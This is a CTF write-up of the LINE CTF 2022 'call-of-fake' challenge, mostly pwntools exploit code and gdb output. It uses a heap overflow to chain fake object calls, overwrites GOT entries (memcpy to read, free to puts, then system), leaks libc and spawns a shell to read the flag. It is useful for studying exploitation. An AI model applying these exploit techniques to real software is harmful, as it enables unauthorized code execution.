LINE CTF 2022 - call-of-fake

Call Call Call!?

nc 34.146.170.115 10001

Environment: Ubuntu20.04 dcfba5b03622f31b1d0673c3f5f14181012b46199abca3ba4af6c1433f03ffd9 /lib/x86_64-linux-gnu/libc-2.31.so

Attachment: call-of-fake.tar.gz xpl.py

Team: Super HexaGoN

Make call of fake!
str: 1
1

str: 2
2

...

str: 8
8

str: 9
9

heap buffer overflow primitive: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)

Taking a short glance at the decompiled source of the challenge, I quickly decided that I don’t want to reverse it and just went on with a dynamic approach, which worked out pretty well.

Let’s just see, what crashes the binary.

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "34.146.170.115"
PORT = 10001
PROCESS = "./call-of-fake"


def exploit(r):
    for i in range(9):
        r.sendafter("str: ", "A"*0x20)

    r.sendlineafter(": ", cyclic_metasploit(0x400))

    r.interactive()

    return


if __name__ == "__main__":
    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
    else:
        LOCAL = True
        r = process("./call-of-fake")
        print(util.proc.pidof(r))
        pause()

    exploit(r)
Program received signal SIGSEGV, Segmentation fault.
0x0000000000402d36 in objectManager::~objectManager() ()
──────────────────────────────────────────────────────────────────────── registers ──────
$rax   : 0x6141316141306141 ("Aa0Aa1Aa"?)
$rbx   : 0x00007fffffffddc0  →  0x000000000000000c ("
                                                     "?)
$rcx   : 0x0000000000402658  →  <objectString::get()+0> endbr64 
$rdx   : 0x00000000004014f8  →  <Object1::fire()+0> endbr64 
$rsp   : 0x00007fffffffdd60  →  0x00000000004014f8  →  <Object1::fire()+0> endbr64 
$rbp   : 0x00007fffffffde50  →  0x00007fffffffde70  →  0x00007fffffffe300  →  0x0000000000000000
$rsi   : 0xb               
$rdi   : 0x0000000000419eb8  →  0x000000000041a000  →  0x00000000004014f8  →  <Object1::fire()+0> endbr64 
$rip   : 0x0000000000402d36  →  <objectManager::~objectManager()+448> mov rax, QWORD PTR [rax]
$r8    : 0xfffffffffffffff0
$r9    : 0x20              
$r10   : 0x000000000041a490  →  "AAAAAAAAAAAAAAAA"
$r11   : 0x000000000041a090  →  "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab[...]"
$r12   : 0xc               
$r13   : 0x0               
$r14   : 0xc               
$r15   : 0x0               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x402d2a <objectManager::~objectManager()+436> mov    rdx, QWORD PTR [rbp-0x70]
     0x402d2e <objectManager::~objectManager()+440> mov    rdx, QWORD PTR [rax+rdx*8]
     0x402d32 <objectManager::~objectManager()+444> mov    rax, QWORD PTR [rbp-0x40]
 →   0x402d36 <objectManager::~objectManager()+448> mov    rax, QWORD PTR [rax]
     0x402d39 <objectManager::~objectManager()+451> cmp    rdx, rax
     0x402d3c <objectManager::~objectManager()+454> jne    0x402d44 <_ZN13objectManagerD2Ev+462>
     0x402d3e <objectManager::~objectManager()+456> mov    BYTE PTR [rbp-0x71], 0x1
     0x402d42 <objectManager::~objectManager()+460> jmp    0x402d4b <_ZN13objectManagerD2Ev+469>
     0x402d44 <objectManager::~objectManager()+462> add    QWORD PTR [rbp-0x70], 0x1
───────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdd60│+0x0000: 0x00000000004014f8  →  <Object1::fire()+0> endbr64 	 ← $rsp
0x00007fffffffdd68│+0x0008: 0x00000000004017e8  →  <Object1::getNameBuffer()+0> endbr64 
0x00007fffffffdd70│+0x0010: 0x0000000000401540  →  <Object1::setName(void*,+0> endbr64 
0x00007fffffffdd78│+0x0018: 0x0000000000401a4e  →  <Object1::getTag()+0> endbr64 
0x00007fffffffdd80│+0x0020: 0x0000000000401b02  →  <Object1::getName()+0> endbr64 
0x00007fffffffdd88│+0x0028: 0x0000000000401a64  →  <Object1::setTag(unsigned+0> endbr64

Seems it’s calling a dtor on objectManager and tries to dereference a part of our payload, probably some kind of exit funcs.

Let’s give it a proper address, so that dereferencing it won’t crash it.

payload = p64(0x407200)
payload += cyclic_metasploit(0x400)

r.sendlineafter(": ", payload)

Now, we can see, that the binary will compare the value at the given address with a predefined set of functions and if it’s in that list, it will execute it.

0x402d2a <objectManager::~objectManager()+436> mov    rdx, QWORD PTR [rbp-0x70]
●→   0x402d2e <objectManager::~objectManager()+440> mov    rdx, QWORD PTR [rax+rdx*8]
     0x402d32 <objectManager::~objectManager()+444> mov    rax, QWORD PTR [rbp-0x40]
     0x402d36 <objectManager::~objectManager()+448> mov    rax, QWORD PTR [rax]
     0x402d39 <objectManager::~objectManager()+451> cmp    rdx, rax
     0x402d3c <objectManager::~objectManager()+454> jne    0x402d44 <_ZN13objectManagerD2Ev+462>

...

gef➤  telescope $rax
0x00007fffffffdd60│+0x0000: 0x00000000004014f8  →  <Object1::fire()+0> endbr64 	 ← $rax, $rsp
0x00007fffffffdd68│+0x0008: 0x00000000004017e8  →  <Object1::getNameBuffer()+0> endbr64 
0x00007fffffffdd70│+0x0010: 0x0000000000401540  →  <Object1::setName(void*,+0> endbr64 
0x00007fffffffdd78│+0x0018: 0x0000000000401a4e  →  <Object1::getTag()+0> endbr64 
0x00007fffffffdd80│+0x0020: 0x0000000000401b02  →  <Object1::getName()+0> endbr64 
0x00007fffffffdd88│+0x0028: 0x0000000000401a64  →  <Object1::setTag(unsigned+0> endbr64 
0x00007fffffffdd90│+0x0030: 0x0000000000401a84  →  <Object1::addTag(unsigned+0> endbr64 
0x00007fffffffdd98│+0x0038: 0x0000000000401ad8  →  <Object1::addTwiceTag()+0> endbr64 
0x00007fffffffdda0│+0x0040: 0x0000000000402b20  →  <objectManager::addStorage(unsigned+0> endbr64 
0x00007fffffffdda8│+0x0048: 0x00000000004025b4  →  <objectString::set(char*)+0> endbr64 
0x00007fffffffddb0│+0x0050: 0x00000000004025ea  →  <objectString::alloc(char*,+0> endbr64 
0x00007fffffffddb8│+0x0058: 0x0000000000402658  →  <objectString::get()+0> endbr64

So, by giving references to pointers to those functions, we can chain multiple calls of them (which will have our payload as input object).

def ref(v):
    return next(e.search(p64(v)))

def exploit(r):
    for i in range(9):
        r.sendafter("str: ", "A"*0x20)

    FIRE = ref(0x00000000004014f8)
    GETNAMEBUFFER = ref(0x00000000004017e8)
    SETNAME = ref(0x0000000000401540)
    GETTAG = ref(0x0000000000401a4e)
    GETNAME = ref(0x0000000000401b02)
    SETTAG = ref(0x0000000000401a64)
    ADDTWICETAG = ref(0x0000000000401ad8)
    ADDSTORAGE = ref(0x0000000000402b20)
    SET = ref(0x00000000004025b4)
    ALLOC = ref(0x00000000004025ea)
    GET = ref(0x0000000000402658)

This narrows the interesting code to look at a bit down.

void* objectString::set(objectString *this, char *arg)
{
  return memcpy(*(this + 1), arg, *(this + 2));
}

This looks already interesting, since this will point to our payload, we would control rdi and rdx argument for memcpy, but arg would always be 0xb leading to a crash, when trying to execute memcpy.

long Object1::addTwiceTag(Object1 *this)
{
  return Object1::addTag(this, *(this + 1));
}

Though we’re not really interested in calling addTag, addTwiceTag has the side-effect of setting rsi to this+1, giving us control over rsi itself.

We can now chain addTwiceTag to set rsi and then call set to execute a memcpy with all arguments controlled. But for now, we can only copy existing stuff from a known address to another known address.

Let’s turn this into a more useful primitive, by overwriting memcpy.got itself with this to read.got (for which we then would also control all arguments the same way)

# rsi = e.got["read"]
payload = p64(ADDTWICETAG)        # call addTwiceTag
payload += p64(e.got["read"])     # rsi
payload += "A"*(0x40-len(payload))
    
# memcpy(e.got["memcpy"], e.got["read"], 8)
payload += p64(SET)               # call set
payload += p64(e.got["memcpy"])   # rdi
payload += p64(8)                 # rdx

After this, memcpy.got will point to read

gef➤  x/gx 0x407098
0x407098 <read@got.plt>:	0x00007ffff7cdbff0
gef➤  x/gx 0x407050
0x407050 <memcpy@got.plt>:	0x00007ffff7cdbff0
gef➤  x/i 0x00007ffff7cdbff0
   0x7ffff7cdbff0 <__GI___libc_read>:	endbr64

We can now do the same again, but this time, it will call read(rdi,rsi,rdx) instead, giving us the possibility to write arbitrary data somewhere.

Let’s take a look at fire to get an idea, how we could turn free into a leak.

void Object1::fire(Object1 *this)
{
  *(this + 1) = 0;

  obj_string = *(this + 4);

  if ( obj_string )
  {
    objectString::~objectString(*(this + 4));
    operator delete(obj_string, 0x18);
  }
}

void objectString::~objectString(objectString *this)
{
  *this = &off_406D68;

  free(*(this + 1));

  *(this + 2) = 0;
}

fire would call ~objectString, which then will call free on the second argument in our payload. Since we still have no leak, I used the memcpy-read to overwrite free.got with puts, so we can leak some data by freeing it.

# rsi = e.got["free"]
payload += p64(ADDTWICETAG)				   # call addTwiceTag
payload += p64(e.got["free"])			   # rsi
payload += "C"*(0xe0-len(payload))

# read(0, e.got["free"], 0x20)
payload += p64(SET)                  # call set
payload += p64(0)                    # rdi
payload += p64(0x20)                 # rdx
payload += "F"*(0x140-len(payload))

# free(e.got["free"]+0x10) => puts(e.got["free"]+0x10)
payload += p64(FIRE)    
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(e.got["free"]+0x10)   # object string ptr
payload += "F"*(0x160-len(payload))

...

# send payload for read(0, e.got["free], 0x20)
payload2 = p64(0x0000000000401150) + p64(0x21)
payload2 += p64(0) + p64(e.got["setvbuf"])
r.send(payload2)

That turned out to get a bit tricky and in hindsight it might have been better to search for some other controllable got than free, since after the dtor of objectString it will also call delete on the object, which will ultimately call free, so we have to make sure, that we serve it a valid chunk, that can be freed.

The payload will first set rsi accordingly and then call read(0, e.got["free"], 0x20) via the set function. We’ll send a second payload then, which will for one overwrite e.got["free] with e.plt["puts] and put a 0x20 fake chunk behind it, with its content pointing to e.got["setvbuf].

When we now trigger Fire, this will call ~objectString(e.got["free]+0x10), which will then call free([e.got["free"]+0x10+0x8]), which now boils down to puts(e.got["setvbuf"]) giving us our libc leak finally.

After the leak it will try to delete the chunk, which will be done nicely, since we also put a fake 0x21 size in that fake object allowing us to continue our call chain.

# read the output of ~objectString leak
LEAK = u64(r.recvline()[:-1].ljust(8, "\x00"))
libc.address = LEAK - libc.symbols["setvbuf"]

log.info("LEAK     : %s" % hex(LEAK))
log.info("LIBC     : %s" % hex(libc.address))
$ python work.py 1
[*] '/media/sf_ctf/line22/calloffake/call-of-fake'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/media/sf_ctf/line22/calloffake/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 34.146.170.115 on port 10001: Done
[*] Paused (press any to continue)
[*] LEAK     : 0x7fea5a4ebd10
[*] LIBC     : 0x7fea5a467000
[*] Switching to interactive mode
[*] Got EOF while reading in interactive

Looking good and with the leak not crashing in free we got the hardest part done.

We can now use our read primitive again, to overwrite free again, but this time with system and pass it another chunk, which will point to /bin/sh. Calling Fire again should then result in a system("/bin/sh") call.

# rsi = e.got["free"]
payload += p64(ADDTWICETAG)				
payload += p64(e.got["free"])			# rsi 
payload += "F"*(0x200-len(payload))

# read(e.got["free"], 0x20)             # => payload3
payload += p64(SET)
payload += p64(0)
payload += p64(0x20)
payload += "F"*(0x260-len(payload))

...

# send payload for second free overwrite
payload3 = p64(libc.symbols["system"]) + p64(0x21)
payload3 += p64(next(libc.search("/bin/sh")))

With everything prepared, all that’s left is to trigger fire one more time.

# free(e.got["free"]+0x10) => system("/bin/sh")
payload += p64(FIRE)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0x407090-8)     # ptr to /bin/sh at 0x407090
$ python work.py 1
[*] '/media/sf_ctf/line22/calloffake/call-of-fake'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/media/sf_ctf/line22/calloffake/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 34.146.170.115 on port 10001: Done
[*] Paused (press any to continue)
[*] LEAK     : 0x7f24730e2d10
[*] LIBC     : 0x7f247305e000
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ cd home
$ cd call-of-fake
$ cat flag
LINECTF{B4By_C0unterfeitO0P!}